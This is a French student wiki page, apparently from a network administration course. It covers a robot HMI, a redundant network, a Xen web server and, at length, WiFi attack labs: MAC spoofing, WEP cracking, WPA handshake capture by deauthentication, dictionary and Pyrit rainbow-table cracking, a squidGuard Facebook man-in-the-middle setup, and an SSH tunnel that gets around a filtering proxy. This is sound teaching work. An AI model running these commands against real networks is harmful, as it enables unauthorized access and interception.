Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.

Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.

[[Fichier:P27_IHM_3.jpg|left|690px]][[Fichier:P27_IHM_3bis.jpg|right|690px]]

Les pages 3 et 3bis sont les pages permettant de choisir ou va être réalisé l'opération d'usinage au sein des 4 faces possibles. La page 3bis permet de prendre en compte le cas ou l'on doit faire deux opérations d'usinage et permet donc de sélectionner les faces pour la première et la seconde opération.

[[Fichier:P27_IHM_4.jpg|left|690px]][[Fichier:P27_IHM_4bis.jpg|right|690px]]

La page 4 est la page permettant d'entrer le nombre de pièces que l'on veux usiner ainsi que le magasin ou l'on va venir chercher les pièces brutes pour l'usinage. Comme on peux le voir sur l'image de droite, lorsque l'on veux lancer le programme, on a une fenêtre de confirmation qui récapitule les choix réalisés avant le lancement du programme.

Ceci récapitule la partie graphique de notre interface. Maintenant nous souhaitons faire des tests concernant la communication avec le robot, par contre nous n'avons que peu d'informations concernant la communication. Nous attendons donc une réponse de Kuka concernant ce point, pour le moment nous allons essayer de réaliser cette communication par nous même.

P27 Robot de fraiseuse

2016-02-03T15:38:10Z

Froyer1 :

Fichier:P27 IHM 4bis.jpg

2016-02-03T13:25:10Z

Froyer1 :

Fichier:P27 IHM 4.jpg

2016-02-03T13:24:39Z

Froyer1 :

Fichier:P27 IHM 3bis.jpg

2016-02-03T13:24:18Z

Froyer1 :

Fichier:P27 IHM 3.jpg

2016-02-03T13:23:55Z

Froyer1 :

Fichier:P27 IHM 2.jpg

2016-02-03T13:23:28Z

Froyer1 :

Fichier:P27 IHM 1.jpg

2016-02-03T13:22:50Z

Froyer1 :

P27 Robot de fraiseuse

2016-02-02T14:56:00Z

Froyer1 :

PRA 2015 - Câblage d'un réseau redondant

2016-01-19T10:28:24Z

Froyer1 : /* Création de points d'accès Wi-Fi avec serveur d'authentification FreeRADIUS */

__TOC__
== Introduction ==
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.
== Câblage du résau ==
=== Le réseau idéal ===
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.

[[Fichier:PRA15 - Réseau Idéal.png]]

Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.

=== L'avancement du cablage du réseau ===

L'image suivante détaille l'état du réseau avant le 07/10/2015.

[[Fichier:PRA15 - Réseau Temporaire.png]]

Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.

== La partie commune ==
=== Création d'un site Web haute disponibilité ===
==== Installation de la machine virtuelle ====
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée "kwak". Notre hôte est un serveur Xen 3.0.
<pre>
# cat /etc/xen/kwak.cfg
kernel = '/boot/vmlinuz-3.14-2-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-3.14-2-amd64'
vcpus = '1'
memory = '512'
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',
'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',
]
name = 'kwak'
vif = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'
</pre>
Ensuite, nous démarrons notre machine virtuelle.
<pre>
# xl create /etc/xen/kwak.cfg
</pre>
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).
<pre>
# xl console kwak
</pre>
Enfin, nous installons les services dont nous allons avoir besoin par la suite.
<pre>
# apt-get install apache2 bind
</pre>

==== Mise en place du service web ====
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]
<pre>
<!DOCTYPE>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
</head>
<body>
<iframe style="position:absolute;top:0px;left:0px;" id="video" src="https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&showinfo=0&showsearch=0&iv_load_policy=3&autoplay=1" frameborder="0" allowfullscreen></iframe>
<script>
$(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });
$(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});
});
</script>
</body>
</html>
</pre>

=== Tests de sécurisation de réseaux WiFi ===
==== Accès par filtrage MAC ====
Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.

La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.
<pre>
airodump-ng start wlan0
</pre>
Ensuite, nous avons surveillé le réseau WiFi, nommé "baguette"

<pre>
airodump-ng --essid baguette wlan0mon

CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -63 9 0 0 4 54e. OPN baguette
</pre>

On spécifie alors le canal et le BSSID à utiliser pour plus de précision.

<pre>
airodump-ng --essid baguette wlan0mon

CH 4 ][ Elapsed: 18 s ][ 2015-10-22 13:29
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -52 100 146 1 0 4 54e. OPN baguette

BSSID STATION PWR Rate Lost Frames Probe
C4:14:3C:40:78:60 00:15:AF:E7:19:F3 -59 0 - 5e 0 1
</pre>

Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.

<pre>
ifconfig wlan1 hw ether C4:14:3C:40:78:60
</pre>

==== Accès par filtrage WEP ====
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.
<pre>
#airmon-ng
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]

#airmon-ng start wlan3
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]
(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)
(mac80211 station mode vif disabled for [phy1]wlan3)
</pre>
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.
<pre>
#airodump-ng wlan3mon
CH 9 ][ Elapsed: 0 s ][ 2015-11-12 11:58

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:48 -57 2 0 0 7 54e. OPN cracotte09
00:23:5E:1E:05:41 -56 3 0 0 7 54e. WEP WEP cracotte02
00:23:5E:1E:05:45 -57 3 22 0 7 54e. WEP WEP cracotte06
00:23:5E:1E:05:44 -56 2 19 0 7 54e. WEP WEP cracotte05
00:23:5E:1E:05:47 -55 3 42 0 7 54e. WEP WEP cracotte08
00:23:5E:1E:05:46 -55 1 67 0 7 54e. WEP WEP cracotte07
00:23:5E:1E:05:42 -56 2 67 0 7 54e. WEP WEP cracotte03
00:23:5E:1E:05:40 -57 2 98 0 7 54e. WEP WEP cracotte01
00:23:5E:1E:05:43 -58 4 99 0 7 54e. WEP WEP cracotte04

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:CF:01:90 48:5A:3F:4C:37:61 -1 1e- 0 0 2
00:23:5E:1E:05:45 00:0F:B5:92:23:74 -64 54e-48e 2 21
00:23:5E:1E:05:44 00:0F:B5:92:23:6B -65 48e- 2e 89 9
00:23:5E:1E:05:47 00:0F:B5:92:23:71 -67 54e-54e 39 37
00:23:5E:1E:05:46 00:0F:B5:92:23:69 -63 48e-54e 6 63
00:23:5E:1E:05:42 00:0F:B5:92:23:6A -60 48e-54e 9 59
00:23:5E:1E:05:40 00:0F:B5:92:22:68 -55 36e-48e 9 94
00:23:5E:1E:05:43 00:0F:B5:92:23:75 -58 48e- 2e 145 93
</pre>
Notre cible étant le réseau "cracotte07", nous spécifions donc le canal et l'ESSID
<pre>
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon
CH 7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:46 -64 17 1603 46339 201 7 54e. WEP WEP cracotte07
</pre>
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.
<pre>
#aircrack-ng *.cap
Opening dmp-01.cap
Read 110082 packets.

# BSSID ESSID Encryption

1 00:23:5E:1E:05:46 cracotte07 WEP (6190 IVs)

Choosing first network as target.

Opening dmp-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 6258 ivs.
</pre>
Ensuite, nous générons plus de flux à l'aide de aireplay.
<pre>
#aireplay-ng -5 -e cracotte07 wlan3mon
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)
12:02:11 Waiting for beacon frame (ESSID: cracotte07) on channel 7
Found BSSID "00:23:5E:1E:05:46" to given ESSID "cracotte07".
12:02:11 Waiting for a data packet...

Size: 70, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:23:5E:1E:05:46
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:92:23:69

0x0000: 8841 2c00 0023 5e1e 0546 000f b592 2369 .A,..#^..F....#i
0x0010: ffff ffff ffff c014 0000 f898 0e00 8065 ...............e
0x0020: 7e87 af6b e679 211e c9d6 1665 0b4f 7e2d ~..k.y!....e.O~-
0x0030: 6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35 l.-...?..1S./..5
0x0040: b7bd 03c5 5093 ....P.

Use this packet ? y

Saving chosen packet in replay_src-1112-120211.cap
12:02:13 Data packet found!
12:02:13 Sending fragmented packet
</pre>
Et enfin, aircrack trouve la clé.
<pre>
Aircrack-ng 1.2 rc2

[00:02:12] Tested 853 keys (got 40800 IVs)

KB depth byte(vote)
0 0/ 9 55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568)
1 0/ 1 52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592)
2 0/ 1 55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824)
3 13/ 3 79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800)
4 1/ 4 CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824)

KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ]
Decrypted correctly: 100%
</pre>
==== Accès par filtrage WPA ====
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.
<pre>
#!/usr/bin/perl
my $ite = 0;
my $max = 1000000;
my $outp;
my $tmp;
for (my $j=0; $j < 100; $j++)
{
$tmp = sprintf("[%02d]\n", $j);
print STDERR $tmp;
for (my $i=0; $i < ($max); $i++)
{
$outp = sprintf("%08d\n", $ite);
$ite++;
print $outp;
}
}
</pre>
Nous lançons donc la génération avec la commande
<pre>
# ./gen.pl > dic.txt
</pre>
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.
<pre>
859M -rw-r--r-- 1 root root 859M nov. 13 09:41 dic.txt
</pre>
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau "Almost Secure WiFi".
<pre>
# airodump-ng --channel 6 --essid "Almost Secure WiFI" -w dmp wlan1
</pre>
Puis, nous désauthentifions les clients déjà connectés pour récupérer le "handshake" qui permettra le décryptage de la clé.
<pre>
# aireplay-ng -0 5 -e "Almost Secure WiFI" wlan1
</pre>
Une fois la désauthentification envoyée, nous récupérons le "handshake" durant la reconnection des clients.
<pre>
# aircrack-ng *.cap
Opening dmp-01.cap
Read 2370 packets.
# BSSID ESSID Encryption

1 00:13:46:79:6A:1C Almost Secure WiFI WPA (1 handshake)
</pre>
=====Attaque par dictionnaire=====
A partir du moment où nous disposons du "handshake", deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.
<pre>
# aircrack-ng -w dico.txt *.cap
Aircrack-ng 1.2 beta3
[00:58:30] 12121212 keys tested (3659.24 k/s)
KEY FOUND! [ 12121212 ]
Master Key : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62
F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45
Transient Key : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF
68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8
45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28
A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E
EAPOL HMAC : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE
</pre>
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.
=====Attaque par Rainbow Tables=====
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une "rainbow table" est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.
<pre>
# pyrit -e 'Almost Secure WiFI' create_essid
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Created ESSID 'Almost Secure WiFI'
</pre>
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la "rainbow table". On remarqera que cette étape prend entre 5 à 10 secondes.
<pre>
# pyrit -i ./dic.txt import_passwords
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
100000000 lines read. Flushing buffers... ..
All done.
</pre>
Maintenant, nous devons générer la "rainbow table". Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.
</pre>
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.
<pre>
# pyrit benchmark
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Running benchmark (25147.5 PMKs/s)... \

Computed 25147.53 PMKs/s total.
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)
</pre>
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la "rainbow table" qui prendra environ une heure.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.
</pre>
Maintenant que la "rainbow table" est générée, nous lançons l'attaque.
<pre>
# pyrit -r *.cap attack_batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Parsing file 'dmp-01.cap' (1/1)...
Parsed 270 packets (270 802.11-packets), got 1 AP(s)

Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.
Attacking handshake with station 00:0c:e7:41:68:29
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second

The password is '12121212'.
</pre>
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par "rainbow tables" est donc largement plus performante.

=====Algorithme de génération de PMK=====
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.
<pre>
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)
</pre>
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)
*[PASSWORD] Le mot de passe
*[SALT] Le salage (ici l'ESSID)
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)
*[LEN] La longueur du résultat de la fonction (ici 256)
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.
<pre>
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount
</pre>
Où les "Un" sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.
<pre>
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))
U2 = PRF(PASSWORD, U1)
...
Uc = PRF(PASSWORD, Ucount-1)
</pre>
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:
*[KEY] la clé utilisée pour encoder le message
*[MSG] le message à encoder
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)
Le principe de fonctionnement est le suivant:
<pre>
function HMAC(KEY, MSG, H, HLEN)
if(length(KEY) > HLEN)
KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H
if(length(KEY) < HLEN)
KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))

opad_key = (opad * HLEN) ^ KEY;
ipad_key = (ipad * HLEN) ^ KEY;

return H(opad_key || H(ipad_key || MSG)
</pre>
Dans cette fonction:
*L'opérateur || désigne la concaténation directe tel que "J'aime le"||" poulet" est égale à "J'aime le poulet"
*L'opérateur * désigne la répétition de l'élément tel que "J"*4 est égale à "JJJJ"
*L'opérateur ^ désigne l'opérateur XOR logique
*La variable opad est une constance valant 0x5C
*La variable ipad est une constance valant 0x36
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.
<pre>
function SHA1(PASS)
h0 = 0x67452301
h1 = 0xEFCDAB89
h2 = 0x98BADCFE
h3 = 0x10325476
h4 = 0xC3D2E1F0
ml = message length in bits (always a multiple of the number of bits in a character).

append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.
append 0 ≤ k < 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)
append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.

break message into 512-bit chunks
for each chunk
break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15

//Extend the sixteen 32-bit words into eighty 32-bit words:
for i from 16 to 79
w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1

//Initialize hash value for this chunk:
a = h0
b = h1
c = h2
d = h3
e = h4

//Main loop
for i from 0 to 79
if 0 ≤ i ≤ 19 then
f = (b and c) or ((not b) and d)
k = 0x5A827999
else if 20 ≤ i ≤ 39
f = b xor c xor d
k = 0x6ED9EBA1
else if 40 ≤ i ≤ 59
f = (b and c) or (b and d) or (c and d)
k = 0x8F1BBCDC
else if 60 ≤ i ≤ 79
f = b xor c xor d
k = 0xCA62C1D6

temp = (a leftrotate 5) + f + e + k + w[i]
e = d
d = c
c = b leftrotate 30
b = a
a = temp

//Add this chunk's hash to result so far:
h0 = h0 + a
h1 = h1 + b
h2 = h2 + c
h3 = h3 + d
h4 = h4 + e

//Produce the final hash value (big-endian) as a 160 bit number:
hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4
</pre>
===Attaque Man In the Middle de Facebook===
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.

Config Squid
<pre>
acl allowedips src 172.16.1.0/24
http_access allow allowedips
forwarded_for off
http_access deny all
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3128
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard
shutdown_lifetime 1 second
</pre>
Config Squidguard
<pre>
dbhome /usr/local/squidGuard/db

dest fb-login {
urllist facebook/url
}

acl {
default {
pass !fb-login all
redirect http://127.0.0.1/
}
}
</pre>
cat /usr/local/squidGuard/db/facebook/url
<pre>
fr-fr.facebook.com
</pre>

===Contournement d'un proxy===
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition "La nuit de l'info", nous avons été amené à réaliser un dispositif permettant un accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécessaires.
<pre>
# apt-get install openssh-server proxytunnel isc-dhcp-server
</pre>
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.
<pre>
# vim /root/.ssh/config
Host perfectTunnel
Hostname ADRESSE_IP_DE_NOTRE_SERVEUR
User root
Port 443
ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p
</pre>
Ensuite, nous réalisons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.
<pre>
ssh \
-o PermitLocalCommand=yes \
-o LocalCommand="ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0" \
-o ServerAliveInterval=60 \
-w 5:5 perfectTunnel \
'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'
</pre>
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.
<pre>
# ping -I tun5 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms
^C
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms
</pre>
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.
<pre>
# route del default
# route add default gw 12.24.48.1
</pre>
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.
<pre>
# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms
^C
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms
</pre>
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).
<pre>
# vim /etc/default/isc-dhcp-server
INTERFACES="eth0"

# vim /etc/dhcp/dhcpd.conf
subnet 118.218.0.0 netmask 255.255.0.0 {
range 118.218.1.1 118.218.254.254;
option routers 118.218.0.1;
option subnet-mask 255.255.0.0;
option broadcast-address 118.218.255.255;
option domain-name-servers 8.8.8.8, 8.8.4.4;
}

default-lease-time 600;
max-lease-time 7200;
authoritative;
</pre>
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.
<pre>
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE
